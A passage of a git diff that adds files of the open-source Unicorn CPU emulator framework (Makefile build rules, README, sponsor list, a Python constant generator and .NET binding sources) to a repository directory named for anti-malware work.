+PKG_VERSION = $(PKG_MAJOR).$(PKG_MINOR).$(PKG_EXTRA) +endif + +API_MAJOR=$(shell echo `grep -e UC_API_MAJOR include/unicorn/unicorn.h | grep -v = | awk '{print $$3}'` | awk '{print $$1}') + +# Apple? +ifeq ($(UNAME_S),Darwin) +EXT = dylib +VERSION_EXT = $(API_MAJOR).$(EXT) +$(LIBNAME)_LDFLAGS += -dynamiclib -install_name @rpath/lib$(LIBNAME).$(VERSION_EXT) -current_version $(PKG_MAJOR).$(PKG_MINOR).$(PKG_EXTRA) -compatibility_version $(PKG_MAJOR).$(PKG_MINOR) +AR_EXT = a +UNICORN_CFLAGS += -fvisibility=hidden + +ifeq ($(MACOS_UNIVERSAL),yes) +$(LIBNAME)_LDFLAGS += -m32 -arch i386 -m64 -arch x86_64 +UNICORN_CFLAGS += -m32 -arch i386 -m64 -arch x86_64 +endif + +# Cygwin? +else ifneq ($(filter CYGWIN%,$(UNAME_S)),) +EXT = dll +AR_EXT = a +BIN_EXT = .exe +UNICORN_CFLAGS := $(UNICORN_CFLAGS:-fPIC=) +#UNICORN_QEMU_FLAGS += --disable-stack-protector + +# mingw? +else ifneq ($(filter MINGW%,$(UNAME_S)),) +EXT = dll +AR_EXT = a +BIN_EXT = .exe +UNICORN_QEMU_FLAGS += --disable-stack-protector +UNICORN_CFLAGS := $(UNICORN_CFLAGS:-fPIC=) +$(LIBNAME)_LDFLAGS += -Wl,--output-def,unicorn.def +DO_WINDOWS_EXPORT = 1 + +# Haiku +else ifneq ($(filter Haiku%,$(UNAME_S)),) +EXT = so +VERSION_EXT = $(EXT).$(API_MAJOR) +AR_EXT = a +$(LIBNAME)_LDFLAGS += -Wl,-Bsymbolic-functions,-soname,lib$(LIBNAME).$(VERSION_EXT) +UNICORN_CFLAGS := $(UNICORN_CFLAGS:-fPIC=) +UNICORN_QEMU_FLAGS += --disable-stack-protector + +# Linux, Darwin +else +EXT = so +VERSION_EXT = $(EXT).$(API_MAJOR) +AR_EXT = a +$(LIBNAME)_LDFLAGS += -Wl,-Bsymbolic-functions,-soname,lib$(LIBNAME).$(VERSION_EXT) +UNICORN_CFLAGS += -fvisibility=hidden +endif + +ifeq ($(UNICORN_SHARED),yes) +ifneq ($(filter MINGW%,$(UNAME_S)),) +LIBRARY = $(LIBNAME).$(EXT) +else ifneq ($(filter CYGWIN%,$(UNAME_S)),) +LIBRARY = cyg$(LIBNAME).$(EXT) +LIBRARY_DLLA = lib$(LIBNAME).$(EXT).$(AR_EXT) +$(LIBNAME)_LDFLAGS += -Wl,--out-implib=$(LIBRARY_DLLA) +$(LIBNAME)_LDFLAGS += -lssp +# Linux, Darwin +else +LIBRARY = lib$(LIBNAME).$(VERSION_EXT) +LIBRARY_SYMLINK = lib$(LIBNAME).$(EXT) +endif +endif + +ifeq ($(UNICORN_STATIC),yes) +ifneq ($(filter MINGW%,$(UNAME_S)),) +ARCHIVE = $(LIBNAME).$(AR_EXT) +# Cygwin, Linux, Darwin +else +ARCHIVE = lib$(LIBNAME).$(AR_EXT) +endif +endif + +INSTALL_BIN ?= install +INSTALL_DATA ?= $(INSTALL_BIN) -m0644 +INSTALL_LIB ?= $(INSTALL_BIN) -m0755 +PKGCFGF = $(LIBNAME).pc +PREFIX ?= /usr +DESTDIR ?= + +LIBDIRARCH ?= lib +# Uncomment the below line to installs x86_64 libs to lib64/ directory. +# Or better, pass 'LIBDIRARCH=lib64' to 'make install/uninstall' via 'make.sh'. +#LIBDIRARCH ?= lib64 + +LIBDIR ?= $(PREFIX)/$(LIBDIRARCH) +INCDIR ?= $(PREFIX)/include +BINDIR ?= $(PREFIX)/bin + +LIBDATADIR ?= $(LIBDIR) + +# Don't redefine $LIBDATADIR when global environment variable +# USE_GENERIC_LIBDATADIR is set. This is used by the pkgsrc framework. + +ifndef USE_GENERIC_LIBDATADIR +ifeq ($(UNAME_S), FreeBSD) +LIBDATADIR = $(PREFIX)/libdata +else ifeq ($(UNAME_S), DragonFly) +LIBDATADIR = $(PREFIX)/libdata +endif +endif + +ifeq ($(PKG_EXTRA),) +PKGCFGDIR = $(LIBDATADIR)/pkgconfig +else +PKGCFGDIR ?= $(LIBDATADIR)/pkgconfig +endif + +$(LIBNAME)_LDFLAGS += -lm + +.PHONY: test fuzz bindings clean FORCE + +all: unicorn + $(MAKE) -C samples + +qemu/config-host.mak: qemu/configure + cd qemu && \ + ./configure --cc="${CC}" --extra-cflags="$(UNICORN_CFLAGS)" --target-list="$(UNICORN_TARGETS)" ${UNICORN_QEMU_FLAGS} + @printf "$(UNICORN_ARCHS)" > config.log + +uc.o: qemu/config-host.mak FORCE + $(MAKE) -C qemu $(SMP_MFLAGS) + +$(UC_TARGET_OBJ) list.o: uc.o + @echo "--- $^ $@" > /dev/null + +unicorn: $(LIBRARY) $(ARCHIVE) + +$(LIBRARY): $(UC_OBJ_ALL) +ifeq ($(UNICORN_SHARED),yes) +ifeq ($(V),0) + $(call log,GEN,$(LIBRARY)) + @$(CC) $(CFLAGS) -shared $(UC_OBJ_ALL) -o $(LIBRARY) $($(LIBNAME)_LDFLAGS) + @-ln -sf $(LIBRARY) $(LIBRARY_SYMLINK) +else + $(CC) $(CFLAGS) -shared $(UC_OBJ_ALL) -o $(LIBRARY) $($(LIBNAME)_LDFLAGS) + -ln -sf $(LIBRARY) $(LIBRARY_SYMLINK) +endif +ifeq ($(DO_WINDOWS_EXPORT),1) +ifneq ($(filter MINGW32%,$(UNAME_S)),) + cmd //C "windows_export.bat x86" +else + cmd //C "windows_export.bat x64" +endif +endif +endif + +$(ARCHIVE): $(UC_OBJ_ALL) +ifeq ($(UNICORN_STATIC),yes) +ifeq ($(V),0) + $(call log,GEN,$(ARCHIVE)) + @$(AR) q $(ARCHIVE) $(UC_OBJ_ALL) + @$(RANLIB) $(ARCHIVE) +else + $(AR) q $(ARCHIVE) $(UC_OBJ_ALL) + $(RANLIB) $(ARCHIVE) +endif +endif + +$(PKGCFGF): + $(generate-pkgcfg) + + +fuzz: all + $(MAKE) -C tests/fuzz all + +test: all + $(MAKE) -C tests/unit test + $(MAKE) -C tests/regress test + $(MAKE) -C bindings test + +install: $(LIBRARY) $(ARCHIVE) $(PKGCFGF) + install -d $(DESTDIR)$(LIBDIR) +ifeq ($(UNICORN_SHARED),yes) +ifneq ($(filter CYGWIN%,$(UNAME_S)),) + $(INSTALL_LIB) $(LIBRARY) $(DESTDIR)$(BINDIR) + $(INSTALL_DATA) $(LIBRARY_DLLA) $(DESTDIR)$(LIBDIR) +else + $(INSTALL_LIB) $(LIBRARY) $(DESTDIR)$(LIBDIR) +endif +ifneq ($(VERSION_EXT),) + cd $(DESTDIR)$(LIBDIR) && \ + ln -sf lib$(LIBNAME).$(VERSION_EXT) lib$(LIBNAME).$(EXT) +endif +endif +ifeq ($(UNICORN_STATIC),yes) + $(INSTALL_DATA) $(ARCHIVE) $(DESTDIR)$(LIBDIR) +endif + install -d $(DESTDIR)$(INCDIR)/$(LIBNAME) + $(INSTALL_DATA) include/unicorn/*.h $(DESTDIR)$(INCDIR)/$(LIBNAME) + install -d $(DESTDIR)$(PKGCFGDIR) + $(INSTALL_DATA) $(PKGCFGF) $(DESTDIR)$(PKGCFGDIR)/ + + +TAG ?= HEAD +ifeq ($(TAG), HEAD) +DIST_VERSION = latest +else +DIST_VERSION = $(TAG) +endif + +bindings: all + $(MAKE) -C bindings build + $(MAKE) -C bindings samples + +dist: + git archive --format=tar.gz --prefix=unicorn-$(DIST_VERSION)/ $(TAG) > unicorn-$(DIST_VERSION).tgz + git archive --format=zip --prefix=unicorn-$(DIST_VERSION)/ $(TAG) > unicorn-$(DIST_VERSION).zip + + +# run "make header" whenever qemu/header_gen.py is modified +header: + $(eval TARGETS := m68k arm armeb aarch64 aarch64eb mips mipsel mips64 mips64el\ + sparc sparc64 x86_64) + $(foreach var,$(TARGETS),\ + $(shell python qemu/header_gen.py $(var) > qemu/$(var).h;)) + @echo "Generated headers for $(TARGETS)." + + +uninstall: + rm -rf $(INCDIR)/$(LIBNAME) + rm -f $(LIBDIR)/lib$(LIBNAME).* + rm -f $(BINDIR)/cyg$(LIBNAME).* + rm -f $(PKGCFGDIR)/$(LIBNAME).pc + + +clean: + $(MAKE) -C qemu distclean + rm -rf *.d *.o + rm -rf lib$(LIBNAME)* $(LIBNAME)*.lib $(LIBNAME)*.dll $(LIBNAME)*.a $(LIBNAME)*.def $(LIBNAME)*.exp cyg$(LIBNAME)*.dll + $(MAKE) -C samples clean + $(MAKE) -C tests/unit clean + + +define generate-pkgcfg + echo 'Name: unicorn' > $(PKGCFGF) + echo 'Description: Unicorn emulator engine' >> $(PKGCFGF) + echo 'Version: $(PKG_VERSION)' >> $(PKGCFGF) + echo 'libdir=$(LIBDIR)' >> $(PKGCFGF) + echo 'includedir=$(INCDIR)' >> $(PKGCFGF) + echo 'archive=$${libdir}/libunicorn.a' >> $(PKGCFGF) + echo 'Libs: -L$${libdir} -lunicorn' >> $(PKGCFGF) + echo 'Cflags: -I$${includedir}' >> $(PKGCFGF) +endef + + +define log + @printf " %-7s %s\n" "$(1)" "$(2)" +endef diff --git a/ai_anti_malware/unicorn/unicorn-master/README.md b/ai_anti_malware/unicorn/unicorn-master/README.md new file mode 100644 index 0000000..1a19f30 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/README.md @@ -0,0 +1,54 @@ +Unicorn Engine +============== + +[![Join the chat at https://gitter.im/unicorn-engine/chat](https://badges.gitter.im/unicorn-engine/unicorn.svg)](https://gitter.im/unicorn-engine/chat?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) +[![Build Status](https://travis-ci.org/unicorn-engine/unicorn.svg?branch=master)](https://travis-ci.org/unicorn-engine/unicorn) +[![pypi downloads](https://pepy.tech/badge/unicorn)](https://pepy.tech/project/unicorn) +[![Fuzzing Status](https://oss-fuzz-build-logs.storage.googleapis.com/badges/unicorn.svg)](https://bugs.chromium.org/p/oss-fuzz/issues/list?sort=-opened&can=1&q=proj:unicorn) + +Unicorn is a lightweight, multi-platform, multi-architecture CPU emulator framework +based on [QEMU](http://qemu.org). + +Unicorn offers some unparalleled features: + +- Multi-architecture: ARM, ARM64 (ARMv8), M68K, MIPS, SPARC, and X86 (16, 32, 64-bit) +- Clean/simple/lightweight/intuitive architecture-neutral API +- Implemented in pure C language, with bindings for Crystal, Clojure, Visual Basic, Perl, Rust, Ruby, Python, Java, .NET, Go, Delphi/Free Pascal, Haskell, Pharo, and Lua. +- Native support for Windows & *nix (with Mac OSX, Linux, *BSD & Solaris confirmed) +- High performance via Just-In-Time compilation +- Support for fine-grained instrumentation at various levels +- Thread-safety by design +- Distributed under free software license GPLv2 + +Further information is available at http://www.unicorn-engine.org + + +License +------- + +This project is released under the [GPL license](COPYING). + + +Compilation & Docs +------------------ + +See [docs/COMPILE.md](docs/COMPILE.md) file for how to compile and install Unicorn. + +More documentation is available in [docs/README.md](docs/README.md). + + +Contact +------- + +[Contact us](http://www.unicorn-engine.org/contact/) via mailing list, email or twitter for any questions. + + +Contribute +---------- + +If you want to contribute, please pick up something from our [Github issues](https://github.com/unicorn-engine/unicorn/issues). + +We also maintain a list of more challenged problems in a [TODO list](https://github.com/unicorn-engine/unicorn/wiki/TODO). + +[CREDITS.TXT](CREDITS.TXT) records important contributors of our project. + diff --git a/ai_anti_malware/unicorn/unicorn-master/SPONSORS.TXT b/ai_anti_malware/unicorn/unicorn-master/SPONSORS.TXT new file mode 100644 index 0000000..ecdc457 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/SPONSORS.TXT @@ -0,0 +1,7 @@ +* Version 1.0.2 - October 21st, 2020 + +Release 1.0.2 was sponsored by the following companies (in no particular order). + +- Catena Cyber: https://catenacyber.fr +- Grayshift: https://grayshift.com +- Google: https://google.com diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/Makefile b/ai_anti_malware/unicorn/unicorn-master/bindings/Makefile new file mode 100644 index 0000000..296b44f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/Makefile @@ -0,0 +1,54 @@ +# Unicorn Engine +# By Nguyen Anh Quynh & Dang Hoang Vu, 2015 +DIFF = diff + +SAMPLE_SOURCE = $(wildcard ../samples/*.c) +SAMPLE = $(SAMPLE_SOURCE:../samples/%.c=%) +SAMPLE := $(SAMPLE:mem_apis=) +SAMPLE := $(SAMPLE:sample_batch_reg=) +SAMPLE := $(SAMPLE:sample_x86_32_gdt_and_seg_regs=) +SAMPLE := $(SAMPLE:shellcode=) + +UNAME_S := $(shell uname -s) +ifeq ($(UNAME_S), Linux) +ENV_VARS = LD_PRELOAD=librt.so LD_LIBRARY_PATH=../ DYLD_LIBRARY_PATH=../ +else +ENV_VARS = LD_LIBRARY_PATH=../ DYLD_LIBRARY_PATH=../ LIBUNICORN_PATH=$(TRAVIS_BUILD_DIR) +endif + + +.PHONY: build install python c clean check test + +build: + $(MAKE) -C python gen_const + $(MAKE) -C go gen_const + $(MAKE) -C java gen_const + $(MAKE) -C ruby gen_const + python const_generator.py dotnet + python const_generator.py pascal + +install: build + $(MAKE) -C python install + $(MAKE) -C java install + +test: $(SAMPLE:%=%.py.test) + +c: + $(MAKE) -C ../samples +python: + $(MAKE) -C python +%.c.txt: c + $(ENV_VARS) ../samples/$(@:%.c.txt=%) > $@ +%.py.txt: python + $(ENV_VARS) python python/$(@:%.txt=%) > $@ + +%.py.test: %.c.txt %.py.txt + $(DIFF) -u $(@:%.py.test=%.c.txt) $(@:%.py.test=%.py.txt) + +clean: +# rm -rf *.txt + $(MAKE) -C python clean + $(MAKE) -C java clean + +check: + make -C python check diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/README b/ai_anti_malware/unicorn/unicorn-master/bindings/README new file mode 100644 index 0000000..4df67f6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/README @@ -0,0 +1,38 @@ +This directory contains bindings & test code for Python, Java, Go and .NET. +See /README or /README.TXT or /README.md for how to install each binding. + +The following bindings are contributed by community. + +- Java binding: by Chris Eagle. +- Go binding: by Ryan Hileman. +- .NET binding: by Antonio Parata. +- Ruby binding: by Sascha Schirra +- Haskell binding: by Adrian Herrera. +- VB6 binding: David Zimmer. +- FreePascal/Delphi binding: Mohamed Osama. + +More bindings created & maintained externally by community are available as follows. + +- UnicornPascal: Delphi/Free Pascal binding (by Stievie). + https://github.com/stievie/UnicornPascal + +- Unicorn-Rs: Rust binding (by Sébastien Duquette) + https://github.com/ekse/unicorn-rs + +- UnicornEngine: Perl binding (by Vikas Naresh Kumar) + https://metacpan.org/pod/UnicornEngine + +- Unicorn.CR: Crystal binding (by Benoit Côté-Jodoin) + https://github.com/Becojo/unicorn.cr + +- Deimos/unicorn: D binding (by Vladimir Panteleev) + https://github.com/D-Programming-Deimos/unicorn + +- Unicorn-Lua: Lua binding (by Diego Argueta) + https://github.com/dargueta/unicorn-lua + +- pharo-unicorn: Pharo binding (by Guille Polito) + https://github.com/guillep/pharo-unicorn + +- Unicorn.js: JavaScript binding (by Alexandro Sanchez) + https://github.com/AlexAltea/unicorn.js diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/const_generator.py b/ai_anti_malware/unicorn/unicorn-master/bindings/const_generator.py new file mode 100644 index 0000000..daa18f0 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/const_generator.py @@ -0,0 +1,204 @@ +#!/usr/bin/env python3 +# Unicorn Engine +# By Dang Hoang Vu, 2013 +from __future__ import print_function +import sys, re, os + +INCL_DIR = os.path.join('..', 'include', 'unicorn') + +include = [ 'arm.h', 'arm64.h', 'mips.h', 'x86.h', 'sparc.h', 'm68k.h', 'unicorn.h' ] + +template = { + 'python': { + 'header': "# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [%s_const.py]\n", + 'footer': "", + 'line_format': 'UC_%s = %s\n', + 'out_file': './python/unicorn/%s_const.py', + # prefixes for constant filenames of all archs - case sensitive + 'arm.h': 'arm', + 'arm64.h': 'arm64', + 'mips.h': 'mips', + 'x86.h': 'x86', + 'sparc.h': 'sparc', + 'm68k.h': 'm68k', + 'unicorn.h': 'unicorn', + 'comment_open': '#', + 'comment_close': '', + }, + 'ruby': { + 'header': "# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [%s_const.rb]\n\nmodule UnicornEngine\n", + 'footer': "end", + 'line_format': '\tUC_%s = %s\n', + 'out_file': './ruby/unicorn_gem/lib/unicorn_engine/%s_const.rb', + # prefixes for constant filenames of all archs - case sensitive + 'arm.h': 'arm', + 'arm64.h': 'arm64', + 'mips.h': 'mips', + 'x86.h': 'x86', + 'sparc.h': 'sparc', + 'm68k.h': 'm68k', + 'unicorn.h': 'unicorn', + 'comment_open': '#', + 'comment_close': '', + }, + 'go': { + 'header': "package unicorn\n// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [%s_const.go]\nconst (\n", + 'footer': ")", + 'line_format': '\t%s = %s\n', + 'out_file': './go/unicorn/%s_const.go', + # prefixes for constant filenames of all archs - case sensitive + 'arm.h': 'arm', + 'arm64.h': 'arm64', + 'mips.h': 'mips', + 'x86.h': 'x86', + 'sparc.h': 'sparc', + 'm68k.h': 'm68k', + 'unicorn.h': 'unicorn', + 'comment_open': '//', + 'comment_close': '', + }, + 'java': { + 'header': "// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT\n\npackage unicorn;\n\npublic interface %sConst {\n", + 'footer': "\n}\n", + 'line_format': ' public static final int UC_%s = %s;\n', + 'out_file': './java/unicorn/%sConst.java', + # prefixes for constant filenames of all archs - case sensitive + 'arm.h': 'Arm', + 'arm64.h': 'Arm64', + 'mips.h': 'Mips', + 'x86.h': 'X86', + 'sparc.h': 'Sparc', + 'm68k.h': 'M68k', + 'unicorn.h': 'Unicorn', + 'comment_open': '//', + 'comment_close': '', + }, + 'dotnet': { + 'header': "// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT\n\nnamespace UnicornManaged.Const\n\nopen System\n\n[]\nmodule %s =\n", + 'footer': "\n", + 'line_format': ' let UC_%s = %s\n', + 'out_file': os.path.join('dotnet', 'UnicornManaged', 'Const', '%s.fs'), + # prefixes for constant filenames of all archs - case sensitive + 'arm.h': 'Arm', + 'arm64.h': 'Arm64', + 'mips.h': 'Mips', + 'x86.h': 'X86', + 'sparc.h': 'Sparc', + 'm68k.h': 'M68k', + 'unicorn.h': 'Common', + 'comment_open': ' //', + 'comment_close': '', + }, + 'pascal': { + 'header': "// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT\n\nunit %sConst;\n\ninterface\n\nconst", + 'footer': "\nimplementation\nend.", + 'line_format': ' UC_%s = %s;\n', + 'out_file': os.path.join('pascal', 'unicorn', '%sConst.pas'), + # prefixes for constant filenames of all archs - case sensitive + 'arm.h': 'Arm', + 'arm64.h': 'Arm64', + 'mips.h': 'Mips', + 'x86.h': 'X86', + 'sparc.h': 'Sparc', + 'm68k.h': 'M68k', + 'unicorn.h': 'Unicorn', + 'comment_open': '//', + 'comment_close': '', + }, +} + +# markup for comments to be added to autogen files +MARKUP = '//>' + +def gen(lang): + global include, INCL_DIR + templ = template[lang] + for target in include: + prefix = templ[target] + outfile = open(templ['out_file'] %(prefix), 'wb') # open as binary prevents windows newlines + outfile.write((templ['header'] % (prefix)).encode("utf-8")) + if target == 'unicorn.h': + prefix = '' + with open(os.path.join(INCL_DIR, target)) as f: + lines = f.readlines() + + previous = {} + count = 0 + for line in lines: + line = line.strip() + + if line.startswith(MARKUP): # markup for comments + outfile.write(("\n%s%s%s\n" %(templ['comment_open'], \ + line.replace(MARKUP, ''), templ['comment_close'])).encode("utf-8")) + continue + + if line == '' or line.startswith('//'): + continue + + tmp = line.strip().split(',') + for t in tmp: + t = t.strip() + if not t or t.startswith('//'): continue + f = re.split('\s+', t) + + # parse #define UC_TARGET (num) + define = False + if f[0] == '#define' and len(f) >= 3: + define = True + f.pop(0) + f.insert(1, '=') + + if f[0].startswith("UC_" + prefix.upper()): + if len(f) > 1 and f[1] not in ('//', '='): + print("WARNING: Unable to convert %s" % f) + print(" Line =", line) + continue + elif len(f) > 1 and f[1] == '=': + rhs = ''.join(f[2:]) + else: + rhs = str(count) + + lhs = f[0].strip() + # evaluate bitshifts in constants e.g. "UC_X86 = 1 << 1" + match = re.match(r'(?P\s*\d+\s*<<\s*\d+\s*)', rhs) + if match: + rhs = str(eval(match.group(1))) + else: + # evaluate references to other constants e.g. "UC_ARM_REG_X = UC_ARM_REG_SP" + match = re.match(r'^([^\d]\w+)$', rhs) + if match: + rhs = previous[match.group(1)] + + if not rhs.isdigit(): + for k, v in previous.items(): + rhs = re.sub(r'\b%s\b' % k, v, rhs) + rhs = str(eval(rhs)) + + lhs_strip = re.sub(r'^UC_', '', lhs) + count = int(rhs) + 1 + if (count == 1): + outfile.write(("\n").encode("utf-8")) + + outfile.write((templ['line_format'] % (lhs_strip, rhs)).encode("utf-8")) + previous[lhs] = str(rhs) + + outfile.write((templ['footer']).encode("utf-8")) + outfile.close() + +def main(): + lang = sys.argv[1] + if lang == "all": + for lang in template.keys(): + print("Generating constants for {}".format(lang)) + gen(lang) + else: + if not lang in template: + raise RuntimeError("Unsupported binding %s" % lang) + gen(lang) + +if __name__ == "__main__": + if len(sys.argv) < 2: + print("Usage:", sys.argv[0], " ") + print("Supported: {}".format(["all"] + [x for x in template.keys()])) + sys.exit(1) + main() diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/README.md b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/README.md new file mode 100644 index 0000000..7717164 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/README.md @@ -0,0 +1,30 @@ +This documentation explains how to use the .NET binding for Unicorn +from source. + +0. Install the core engine as a dependency + + Follow README in the root directory to compile & install the core. + +1. Compile the code + + [Windows] + To compile the code open the UnicornSln.sln with Microsoft Visual + Studio 12 or with a newer version and just press Ctrl+Shift+B to build + the solution. + + You need to have installed at least version 4.5 of the .NET framework. + + [Linux] + TODO + +2. Usage + + The solution includes the testing project UnicornTests with examples + of usage. + + In order to use the library in your project just add a reference to + the .NET library and be sure to copy the unmanaged unicorn.dll + library in the output directory. + + The naming convention used is the Upper Camel Case, this mean that to + invoke the uc_mem_read method you have to search for the MemRead method. diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornDotNet.sln b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornDotNet.sln new file mode 100644 index 0000000..90aa5b6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornDotNet.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.23107.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "UnicornSamples", "UnicornSamples\UnicornSamples.csproj", "{B80B5987-1E24-4309-8BF9-C4F91270F21C}" +EndProject +Project("{F2A71F9B-5D33-465A-A702-920D77279786}") = "UnicornManaged", "UnicornManaged\UnicornManaged.fsproj", "{0C21F1C1-2725-4A46-9022-1905F85822A5}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {B80B5987-1E24-4309-8BF9-C4F91270F21C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {B80B5987-1E24-4309-8BF9-C4F91270F21C}.Debug|Any CPU.Build.0 = Debug|Any CPU + {B80B5987-1E24-4309-8BF9-C4F91270F21C}.Release|Any CPU.ActiveCfg = Release|Any CPU + {B80B5987-1E24-4309-8BF9-C4F91270F21C}.Release|Any CPU.Build.0 = Release|Any CPU + {0C21F1C1-2725-4A46-9022-1905F85822A5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {0C21F1C1-2725-4A46-9022-1905F85822A5}.Debug|Any CPU.Build.0 = Debug|Any CPU + {0C21F1C1-2725-4A46-9022-1905F85822A5}.Release|Any CPU.ActiveCfg = Release|Any CPU + {0C21F1C1-2725-4A46-9022-1905F85822A5}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/AssemblyInfo.fs b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/AssemblyInfo.fs new file mode 100644 index 0000000..16d8c91 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/AssemblyInfo.fs @@ -0,0 +1,41 @@ +namespace UnicornManaged.AssemblyInfo + +open System.Reflection +open System.Runtime.CompilerServices +open System.Runtime.InteropServices + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[] +[] +[] +[] +[] +[] +[] +[] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [] +[] +[] + +do + () \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Binding/BindingFactory.fs b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Binding/BindingFactory.fs new file mode 100644 index 0000000..f55f72e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Binding/BindingFactory.fs @@ -0,0 +1,13 @@ +namespace UnicornManaged.Binding + +open System + +module BindingFactory = + let mutable _instance = NativeBinding.instance + + let setDefaultBinding(binding: IBinding) = + _instance <- binding + + let getDefault() = + _instance + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Binding/IBinding.fs b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Binding/IBinding.fs new file mode 100644 index 0000000..7ef6d27 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Binding/IBinding.fs @@ -0,0 +1,28 @@ +namespace UnicornManaged.Binding + +open System + +type IBinding = + interface + abstract Version : UIntPtr * UIntPtr -> Int32 + abstract ArchSupported : Int32 -> Boolean + abstract UcOpen : UInt32 * UInt32 * UIntPtr array -> Int32 + abstract Close : UIntPtr -> Int32 + abstract Strerror : Int32 -> IntPtr + abstract Errono : UIntPtr -> Int32 + abstract RegRead : UIntPtr * Int32 * Byte array -> Int32 + abstract RegWrite : UIntPtr * Int32 * Byte array -> Int32 + abstract MemRead : UIntPtr * UInt64 * Byte array * UIntPtr -> Int32 + abstract MemWrite : UIntPtr * UInt64 * Byte array * UIntPtr -> Int32 + abstract EmuStart : UIntPtr * UInt64 * UInt64 * UInt64 * UInt64 -> Int32 + abstract EmuStop : UIntPtr -> Int32 + abstract HookDel : UIntPtr * UIntPtr -> Int32 + abstract MemMap : UIntPtr * UInt64 * UIntPtr * UInt32 -> Int32 + abstract MemMapPtr : UIntPtr * UInt64 * UIntPtr * UInt32 * UIntPtr -> Int32 + abstract MemUnmap : UIntPtr * UInt64 * UIntPtr -> Int32 + abstract MemProtect : UIntPtr * UInt64 * UIntPtr * UInt32 -> Int32 + abstract HookAddNoarg : UIntPtr * UIntPtr * Int32 * UIntPtr * IntPtr * UInt64 * UInt64 -> Int32 + abstract HookAddArg0 : UIntPtr * UIntPtr * Int32 * UIntPtr * IntPtr * UInt64 * UInt64 * Int32 -> Int32 + abstract HookAddArg0Arg1 : UIntPtr * UIntPtr * Int32 * UIntPtr * IntPtr * UInt64 * UInt64 * UInt64 * UInt64 -> Int32 + end + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Binding/MockBinding.fs b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Binding/MockBinding.fs new file mode 100644 index 0000000..7b99c8e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Binding/MockBinding.fs @@ -0,0 +1,51 @@ +namespace UnicornManaged.Binding + +open System + +module internal MockBinding = + // by using a mutables variables it is easier to create testing code + let mutable version = fun(major, minor) -> 0 + let mutable uc_open = fun(arch, mode, uc) -> 0 + let mutable close = fun(eng) -> 0 + let mutable mem_map = fun(eng, adress, size, perm) -> 0 + let mutable mem_map_ptr = fun(eng, address, size, perms, ptr) -> 0 + let mutable mem_unmap = fun(eng, address, size) -> 0 + let mutable mem_protect = fun(eng, address, size, perms) -> 0 + let mutable mem_write = fun(eng, adress, value, size) -> 0 + let mutable mem_read = fun(eng, adress, value, size) -> 0 + let mutable reg_write = fun(eng, regId, value) -> 0 + let mutable reg_read = fun(eng, regId, value) -> 0 + let mutable emu_start = fun(eng, beginAddr, untilAddr, timeout, count) -> 0 + let mutable emu_stop = fun(eng) -> 0 + let mutable hook_del = fun(eng, hook) -> 0 + let mutable arch_supported = fun(arch) -> true + let mutable errno = fun(eng) -> 0 + let mutable strerror = fun(err) -> new nativeint(0) + let mutable hook_add_noarg = fun(eng, hh, callbackType, callback, userData, hookBegin, hookEnd) -> 0 + let mutable hook_add_arg0 = fun(eng, hh, callbackType, callback, userData, hookBegin, hookEnd, arg0) -> 0 + let mutable 